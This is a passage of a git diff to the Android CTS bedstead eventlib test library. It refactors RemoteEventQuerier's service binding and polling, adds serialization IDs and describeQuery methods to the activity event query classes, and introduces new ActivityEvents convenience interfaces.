@@ -36,11 +36,10 @@
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User;
+import com.android.bedstead.nene.users.UserReference;
 
 import java.time.Duration;
 import java.time.Instant;
-import java.util.UUID;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
@@ -54,13 +53,11 @@
 
     private static final int CONNECTION_TIMEOUT_SECONDS = 30;
     private static final String LOG_TAG = "RemoteEventQuerier";
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
 
     private final String mPackageName;
     private final EventLogsQuery<E, F> mEventLogsQuery;
-    // Each client gets a random ID
-    private final long id = UUID.randomUUID().getMostSignificantBits();
+    private int mPollSkip = 0;
 
     public RemoteEventQuerier(String packageName, EventLogsQuery<E, F> eventLogsQuery) {
         mPackageName = packageName;
@@ -70,7 +67,19 @@
     private final ServiceConnection connection =
             new ServiceConnection() {
                 @Override
+                public void onBindingDied(ComponentName name) {
+                    mQuery.set(null);
+                    Log.e(LOG_TAG, "Binding died for " + name);
+                }
+
+                @Override
+                public void onNullBinding(ComponentName name) {
+                    throw new RuntimeException("onNullBinding for " + name);
+                }
+
+                @Override
                 public void onServiceConnected(ComponentName className, IBinder service) {
+                    Log.i(LOG_TAG, "onServiceConnected for " + className);
                     mQuery.set(IQueryService.Stub.asInterface(service));
                     mConnectionCountdown.countDown();
                 }
@@ -83,72 +92,48 @@
             };
 
     @Override
-    public E get(Instant earliestLogTime) {
-        ensureInitialised();
-        Bundle data = createRequestBundle();
-        try {
-            Bundle resultMessage = mQuery.get().get(id, data);
-            E e = (E) resultMessage.getSerializable(EVENT_KEY);
-            while (e != null && !mEventLogsQuery.filterAll(e)) {
-                resultMessage = mQuery.get().getNext(id, data);
-                e = (E) resultMessage.getSerializable(EVENT_KEY);
-            }
-            return e;
-        } catch (RemoteException e) {
-            throw new IllegalStateException("Error making cross-process call", e);
-        }
-    }
-
-    @Override
-    public E next(Instant earliestLogTime) {
-        ensureInitialised();
-        Bundle data = createRequestBundle();
-        try {
-            Bundle resultMessage = mQuery.get().next(id, data);
-            E e = (E) resultMessage.getSerializable(EVENT_KEY);
-            while (e != null && !mEventLogsQuery.filterAll(e)) {
-                resultMessage = mQuery.get().next(id, data);
-                e = (E) resultMessage.getSerializable(EVENT_KEY);
-            }
-            return e;
-        } catch (RemoteException e) {
-            throw new IllegalStateException("Error making cross-process call", e);
-        }
-    }
-
-    @Override
     public E poll(Instant earliestLogTime, Duration timeout) {
-        ensureInitialised();
-        Instant endTime = Instant.now().plus(timeout);
-        Bundle data = createRequestBundle();
-        Duration remainingTimeout = Duration.between(Instant.now(), endTime);
-        data.putSerializable(TIMEOUT_KEY, remainingTimeout);
         try {
-            Bundle resultMessage = mQuery.get().poll(id, data);
-            E e = (E) resultMessage.getSerializable(EVENT_KEY);
-            while (e != null && !mEventLogsQuery.filterAll(e)) {
-                remainingTimeout = Duration.between(Instant.now(), endTime);
-                data.putSerializable(TIMEOUT_KEY, remainingTimeout);
-                resultMessage = mQuery.get().poll(id, data);
-                e = (E) resultMessage.getSerializable(EVENT_KEY);
+            ensureInitialised();
+            Instant endTime = Instant.now().plus(timeout);
+            Bundle data = createRequestBundle();
+            Duration remainingTimeout = Duration.between(Instant.now(), endTime);
+            data.putSerializable(TIMEOUT_KEY, remainingTimeout);
+            try {
+                Bundle resultMessage = mQuery.get().poll(data, mPollSkip++);
+                E e = (E) resultMessage.getSerializable(EVENT_KEY);
+                while (e != null && !mEventLogsQuery.filterAll(e)) {
+                    remainingTimeout = Duration.between(Instant.now(), endTime);
+                    data.putSerializable(TIMEOUT_KEY, remainingTimeout);
+                    resultMessage = mQuery.get().poll(data, mPollSkip++);
+                    e = (E) resultMessage.getSerializable(EVENT_KEY);
+                }
+                return e;
+            } catch (RemoteException e) {
+                throw new IllegalStateException("Error making cross-process call", e);
             }
-            return e;
-        } catch (RemoteException e) {
-            throw new IllegalStateException("Error making cross-process call", e);
+        } finally {
+            ensureClosed();
         }
     }
 
     private Bundle createRequestBundle() {
         Bundle data = new Bundle();
         data.putSerializable(EARLIEST_LOG_TIME_KEY, EventLogs.sEarliestLogTime);
+        data.putSerializable(QUERIER_KEY, mEventLogsQuery);
         return data;
     }
 
     private AtomicReference<IQueryService> mQuery = new AtomicReference<>();
     private CountDownLatch mConnectionCountdown;
 
-    private static final int MAX_INITIALISATION_ATTEMPTS = 300;
-    private static final long INITIALISATION_ATTEMPT_DELAY_MS = 100;
+    private static final int MAX_INITIALISATION_ATTEMPTS = 20;
+    private static final long INITIALISATION_ATTEMPT_DELAY_MS = 50;
+
+    private void ensureClosed() {
+        mQuery.set(null);
+        sContext.unbindService(connection);
+    }
 
     private void ensureInitialised() {
         // We have retries for binding because there are a number of reasons binding could fail in
@@ -160,6 +145,7 @@
                 return;
             } catch (Exception | Error e) {
                 // Ignore, we will retry
+                Log.i(LOG_TAG, "Error connecting", e);
             }
             try {
                 Thread.sleep(INITIALISATION_ATTEMPT_DELAY_MS);
@@ -167,7 +153,6 @@
                 throw new IllegalStateException("Interrupted while initialising", e);
             }
         }
-
         ensureInitialisedOrThrow();
     }
 
@@ -177,15 +162,6 @@
         }
 
         blockingConnectOrFail();
-        Bundle data = new Bundle();
-        data.putSerializable(QUERIER_KEY, mEventLogsQuery);
-
-        try {
-            mQuery.get().init(id, data);
-        } catch (RemoteException e) {
-            mQuery.set(null);
-            throw new IllegalStateException("Error making cross-process call", e);
-        }
     }
 
     private void blockingConnectOrFail() {
@@ -197,9 +173,9 @@
         AtomicBoolean didBind = new AtomicBoolean(false);
         if (mEventLogsQuery.getUserHandle() != null
                 && mEventLogsQuery.getUserHandle().getIdentifier()
-                != sTestApis.users().instrumented().id()) {
+                != TestApis.users().instrumented().id()) {
             try (PermissionContext p =
-                         sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                         TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
                 didBind.set(sContext.bindServiceAsUser(
                         intent, connection, /* flags= */ BIND_AUTO_CREATE,
                         mEventLogsQuery.getUserHandle()));
@@ -215,18 +191,18 @@
                 throw new IllegalStateException("Interrupted while binding to service", e);
             }
         } else {
-            User user = (mEventLogsQuery.getUserHandle() == null) ? sTestApis.users().instrumented().resolve() : sTestApis.users().find(mEventLogsQuery.getUserHandle()).resolve();
-            if (user == null) {
+            UserReference user = (mEventLogsQuery.getUserHandle() == null)
+                    ? TestApis.users().instrumented()
+                    : TestApis.users().find(mEventLogsQuery.getUserHandle());
+            if (!user.exists()) {
                 throw new AssertionError("Tried to bind to user " + mEventLogsQuery.getUserHandle() + " but does not exist");
             }
-            if (user.state() != User.UserState.RUNNING_UNLOCKED) {
-                throw new AssertionError("Tried to bind to user " + user + " but they are not RUNNING_UNLOCKED");
+            if (!user.isUnlocked()) {
+                throw new AssertionError("Tried to bind to user " + user
+                        + " but they are not unlocked");
             }
-            Package pkg = sTestApis.packages().find(mPackageName).resolve();
-            if (pkg == null) {
-                throw new AssertionError("Tried to bind to package " + mPackageName + " but it is not installed on any user.");
-            }
-            if (!pkg.installedOnUsers().contains(user)) {
+            Package pkg = TestApis.packages().find(mPackageName);
+            if (!pkg.installedOnUser(user)) {
                 throw new AssertionError("Tried to bind to package " + mPackageName + " but it is not installed on target user " + user);
             }
 
@@ -235,7 +211,8 @@
         }
 
         if (mQuery.get() == null) {
-            throw new IllegalStateException("Tried to bind but failed");
+            throw new IllegalStateException("Tried to bind but failed. Expected onServiceConnected"
+                    + " to have been called but it was not.");
         }
     }
 }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
index ea05843..a31e997 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
@@ -38,7 +38,9 @@
  */
 public final class CustomEvent extends Event {
 
-    /** Begin a query for {@link CustomEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link CustomEvent} events. */
     public static CustomEventQuery queryPackage(String packageName) {
         return new CustomEventQuery(packageName);
     }
@@ -74,9 +76,17 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(CustomEvent.class, this)
+                    .field("tag", mTag)
+                    .field("data", mData)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link CustomEvent}. */
+    /** Begins logging a {@link CustomEvent}. */
     public static CustomEventLogger logger(Context context) {
         return new CustomEventLogger(context);
     }
@@ -86,13 +96,13 @@
             super(context, new CustomEvent());
         }
 
-        /** Set the {@link CustomEvent#tag()}. */
+        /** Sets the {@link CustomEvent#tag()}. */
         public CustomEventLogger setTag(String tag) {
             mEvent.mTag = tag;
             return this;
         }
 
-        /** Set the {@link CustomEvent#data()}. */
+        /** Sets the {@link CustomEvent#data()}. */
         public CustomEventLogger setData(Serializable data) {
             mEvent.mData = data;
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
index 4cf5547..77b14e1 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
@@ -39,7 +39,9 @@
  */
 public final class ActivityCreatedEvent extends Event {
 
-    /** Begin a query for {@link ActivityCreatedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link ActivityCreatedEvent} events. */
     public static ActivityCreatedEventQuery queryPackage(String packageName) {
         return new ActivityCreatedEventQuery(packageName);
     }
@@ -47,6 +49,9 @@
     /** {@link EventLogsQuery} for {@link ActivityCreatedEvent}. */
     public static final class ActivityCreatedEventQuery
             extends EventLogsQuery<ActivityCreatedEvent, ActivityCreatedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityCreatedEventQuery> mActivity = new ActivityQueryHelper<>(this);
         BundleQueryHelper<ActivityCreatedEventQuery> mSavedInstanceState =
                 new BundleQueryHelper<>(this);
@@ -95,9 +100,18 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(ActivityCreatedEvent.class, this)
+                    .field("savedInstanceState", mSavedInstanceState)
+                    .field("persistentState", mPersistentState)
+                    .field("activity", mActivity)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link ActivityCreatedEvent}. */
+    /** Begins logging a {@link ActivityCreatedEvent}. */
     public static ActivityCreatedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo, Bundle savedInstanceState) {
         return new ActivityCreatedEventLogger(activity, activityInfo, savedInstanceState);
     }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
index 0a8cbcd..8f79655 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
@@ -32,7 +32,9 @@
  */
 public final class ActivityDestroyedEvent extends Event {
 
-    /** Begin a query for {@link ActivityDestroyedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link ActivityDestroyedEvent} events. */
     public static ActivityDestroyedEventQuery queryPackage(String packageName) {
         return new ActivityDestroyedEventQuery(packageName);
     }
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityDestroyedEvent}. */
     public static final class ActivityDestroyedEventQuery
             extends EventLogsQuery<ActivityDestroyedEvent, ActivityDestroyedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityDestroyedEventQuery> mActivity =
                 new ActivityQueryHelper<>(this);
 
@@ -60,9 +65,16 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(ActivityDestroyedEvent.class, this)
+                    .field("activity", mActivity)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link ActivityDestroyedEvent}. */
+    /** Begins logging a {@link ActivityDestroyedEvent}. */
     public static ActivityDestroyedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
         return new ActivityDestroyedEventLogger(activity, activityInfo);
     }
@@ -75,7 +87,7 @@
             setActivity(activityInfo);
         }
 
-        /** Set the {@link Activity} being destroyed. */
+        /** Sets the {@link Activity} being destroyed. */
         public ActivityDestroyedEventLogger setActivity(android.content.pm.ActivityInfo activity) {
             mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEvents.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEvents.java
new file mode 100644
index 0000000..3b16eb39
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEvents.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import com.android.bedstead.nene.activities.Activity;
+import com.android.bedstead.nene.activities.NeneActivity;
+
+/**
+ * Quick access to event queries about activities.
+ */
+public interface ActivityEvents {
+    /** Access events for activity. */
+    static ActivityEvents forActivity(NeneActivity activity) {
+        return new ActivityEventsImpl(activity);
+    }
+
+    /** Access events for activity. */
+    static ActivityEvents forActivity(Activity<? extends NeneActivity> activity) {
+        return new ActivityEventsImpl(activity.activity());
+    }
+
+    /**
+     * Query for when an activity is created.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    ActivityCreatedEvent.ActivityCreatedEventQuery activityCreated();
+
+    /**
+     * Query for when an activity is destroyed.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    ActivityDestroyedEvent.ActivityDestroyedEventQuery activityDestroyed();
+
+    /**
+     * Query for when an activity is paused.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    ActivityPausedEvent.ActivityPausedEventQuery activityPaused();
+
+    /**
+     * Query for when an activity is restarted.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    ActivityRestartedEvent.ActivityRestartedEventQuery activityRestarted();
+
+    /**
+     * Query for when an activity is resumed.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    ActivityResumedEvent.ActivityResumedEventQuery activityResumed();
+
+    /**
+     * Query for when an activity is started.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    ActivityStartedEvent.ActivityStartedEventQuery activityStarted();
+
+    /**
+     * Query for when an activity is stopped.
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    ActivityStoppedEvent.ActivityStoppedEventQuery activityStopped();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java
new file mode 100644
index 0000000..1baef2f
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import com.android.bedstead.nene.activities.NeneActivity;
+
+/** Default implementation of {@link ActivityEvents}. */
+public final class ActivityEventsImpl implements ActivityEvents {
+    private final NeneActivity mActivity;
+
+    ActivityEventsImpl(NeneActivity activity) {
+        mActivity = activity;
+    }
+
+    @Override
+    public ActivityCreatedEvent.ActivityCreatedEventQuery activityCreated() {
+        return ActivityCreatedEvent.queryPackage(
+                mActivity.getComponentName().getPackageName())
+                .whereActivity().activityClass().className().isEqualTo(
+                        mActivity.getComponentName().getClassName())
+                .onUser(mActivity.getUser());
+    }
+
+    @Override
+    public ActivityDestroyedEvent.ActivityDestroyedEventQuery activityDestroyed() {
+        return ActivityDestroyedEvent.queryPackage(
+                mActivity.getComponentName().getPackageName())
+                .whereActivity().activityClass().className().isEqualTo(
+                        mActivity.getComponentName().getClassName())
+                .onUser(mActivity.getUser());
+    }
+
+    @Override
+    public ActivityPausedEvent.ActivityPausedEventQuery activityPaused() {
+        return ActivityPausedEvent.queryPackage(
+                mActivity.getComponentName().getPackageName())
+                .whereActivity().activityClass().className().isEqualTo(
+                        mActivity.getComponentName().getClassName())
+                .onUser(mActivity.getUser());
+    }
+
+    @Override
+    public ActivityRestartedEvent.ActivityRestartedEventQuery activityRestarted() {
+        return ActivityRestartedEvent.queryPackage(
+                mActivity.getComponentName().getPackageName())
+                .whereActivity().activityClass().className().isEqualTo(
+                        mActivity.getComponentName().getClassName())
+                .onUser(mActivity.getUser());
+    }
+
+    @Override
+    public ActivityResumedEvent.ActivityResumedEventQuery activityResumed() {
+        return ActivityResumedEvent.queryPackage(
+                mActivity.getComponentName().getPackageName())
+                .whereActivity().activityClass().className().isEqualTo(
+                        mActivity.getComponentName().getClassName())
+                .onUser(mActivity.getUser());
+    }
+
+    @Override
+    public ActivityStartedEvent.ActivityStartedEventQuery activityStarted() {
+        return ActivityStartedEvent.queryPackage(
+                mActivity.getComponentName().getPackageName())
+                .whereActivity().activityClass().className().isEqualTo(
+                        mActivity.getComponentName().getClassName())
+                .onUser(mActivity.getUser());
+    }
+
+    @Override
+    public ActivityStoppedEvent.ActivityStoppedEventQuery activityStopped() {
+        return ActivityStoppedEvent.queryPackage(
+                mActivity.getComponentName().getPackageName())
+                .whereActivity().activityClass().className().isEqualTo(
+                        mActivity.getComponentName().getClassName())
+                .onUser(mActivity.getUser());
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
index 039f8f8..22b5afd 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
@@ -32,7 +32,9 @@
  */
 public final class ActivityPausedEvent extends Event {
 
-    /** Begin a query for {@link ActivityPausedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link ActivityPausedEvent} events. */
     public static ActivityPausedEventQuery queryPackage(String packageName) {
         return new ActivityPausedEventQuery(packageName);
     }
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityPausedEvent}. */
     public static final class ActivityPausedEventQuery
             extends EventLogsQuery<ActivityPausedEvent, ActivityPausedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityPausedEventQuery> mActivity =
                 new ActivityQueryHelper<>(this);
 
@@ -60,9 +65,16 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(ActivityPausedEvent.class, this)
+                    .field("activity", mActivity)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link ActivityPausedEvent}. */
+    /** Begins logging a {@link ActivityPausedEvent}. */
     public static ActivityPausedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
         return new ActivityPausedEventLogger(activity, activityInfo);
     }
@@ -75,7 +87,7 @@
             setActivity(activityInfo);
         }
 
-        /** Set the {@link Activity} being destroyed. */
+        /** Sets the {@link Activity} being destroyed. */
         public ActivityPausedEventLogger setActivity(android.content.pm.ActivityInfo activity) {
             mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
index 41ee09e..a6b9418 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
@@ -32,7 +32,9 @@
  */
 public final class ActivityRestartedEvent extends Event {
 
-    /** Begin a query for {@link ActivityRestartedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link ActivityRestartedEvent} events. */
     public static ActivityRestartedEventQuery queryPackage(String packageName) {
         return new ActivityRestartedEventQuery(packageName);
     }
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityRestartedEvent}. */
     public static final class ActivityRestartedEventQuery
             extends EventLogsQuery<ActivityRestartedEvent, ActivityRestartedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityRestartedEventQuery> mActivity =
                 new ActivityQueryHelper<>(this);
 
@@ -60,9 +65,16 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(ActivityRestartedEvent.class, this)
+                    .field("activity", mActivity)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link ActivityRestartedEvent}. */
+    /** Begins logging a {@link ActivityRestartedEvent}. */
     public static ActivityRestartedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
         return new ActivityRestartedEventLogger(activity, activityInfo);
     }
@@ -75,7 +87,7 @@
             setActivity(activityInfo);
         }
 
-        /** Set the {@link Activity} being destroyed. */
+        /** Sets the {@link Activity} being destroyed. */
         public ActivityRestartedEventLogger setActivity(android.content.pm.ActivityInfo activity) {
             mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
index b04a53a..ce57340 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
@@ -32,7 +32,9 @@
  */
 public final class ActivityResumedEvent extends Event {
 
-    /** Begin a query for {@link ActivityResumedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link ActivityResumedEvent} events. */
     public static ActivityResumedEventQuery queryPackage(String packageName) {
         return new ActivityResumedEventQuery(packageName);
     }
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityResumedEvent}. */
     public static final class ActivityResumedEventQuery
             extends EventLogsQuery<ActivityResumedEvent, ActivityResumedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityResumedEventQuery> mActivity =
                 new ActivityQueryHelper<>(this);
 
@@ -60,9 +65,16 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(ActivityResumedEvent.class, this)
+                    .field("activity", mActivity)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link ActivityResumedEvent}. */
+    /** Begins logging a {@link ActivityResumedEvent}. */
     public static ActivityResumedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
         return new ActivityResumedEventLogger(activity, activityInfo);
     }
@@ -75,7 +87,7 @@
             setActivity(activityInfo);
         }
 
-        /** Set the {@link Activity} being destroyed. */
+        /** Sets the {@link Activity} being destroyed. */
         public ActivityResumedEventLogger setActivity(android.content.pm.ActivityInfo activity) {
             mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
index cb34a74..a6cb5be 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
@@ -32,7 +32,9 @@
  */
 public final class ActivityStartedEvent extends Event {
 
-    /** Begin a query for {@link ActivityStartedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link ActivityStartedEvent} events. */
     public static ActivityStartedEventQuery queryPackage(String packageName) {
         return new ActivityStartedEventQuery(packageName);
     }
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityStartedEvent}. */
     public static final class ActivityStartedEventQuery
             extends EventLogsQuery<ActivityStartedEvent, ActivityStartedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityStartedEventQuery> mActivity = new ActivityQueryHelper<>(this);
 
         private ActivityStartedEventQuery(String packageName) {
@@ -59,9 +64,16 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(ActivityStartedEvent.class, this)
+                    .field("activity", mActivity)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link ActivityStartedEvent}. */
+    /** Begins logging a {@link ActivityStartedEvent}. */
     public static ActivityStartedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
         return new ActivityStartedEventLogger(activity, activityInfo);
     }
@@ -73,7 +85,7 @@
             setActivity(activityInfo);
         }
 
-        /** Set the {@link Activity} being started. */
+        /** Sets the {@link Activity} being started. */
         public ActivityStartedEventLogger setActivity(
                 android.content.pm.ActivityInfo activity) {
             mEvent.mActivity = ActivityInfo.builder(activity).build();
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
index c512812..cd9630c 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
@@ -32,7 +32,9 @@
  */
 public final class ActivityStoppedEvent extends Event {
 
-    /** Begin a query for {@link ActivityStoppedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link ActivityStoppedEvent} events. */
     public static ActivityStoppedEventQuery queryPackage(String packageName) {
         return new ActivityStoppedEventQuery(packageName);
     }
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityStoppedEvent}. */
     public static final class ActivityStoppedEventQuery
             extends EventLogsQuery<ActivityStoppedEvent, ActivityStoppedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityStoppedEventQuery> mActivity = new ActivityQueryHelper<>(this);
 
         private ActivityStoppedEventQuery(String packageName) {
@@ -59,9 +64,16 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(ActivityStoppedEvent.class, this)
+                    .field("activity", mActivity)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link ActivityStoppedEvent}. */
+    /** Begins logging a {@link ActivityStoppedEvent}. */
     public static ActivityStoppedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
         return new ActivityStoppedEventLogger(activity, activityInfo);
     }
@@ -73,7 +85,7 @@
             setActivity(activityInfo);
         }
 
-        /** Set the {@link Activity} being stopped. */
+        /** Sets the {@link Activity} being stopped. */
         public ActivityStoppedEventLogger setActivity(android.content.pm.ActivityInfo activity) {
             mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
index ff849a0..c4f4f0f 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
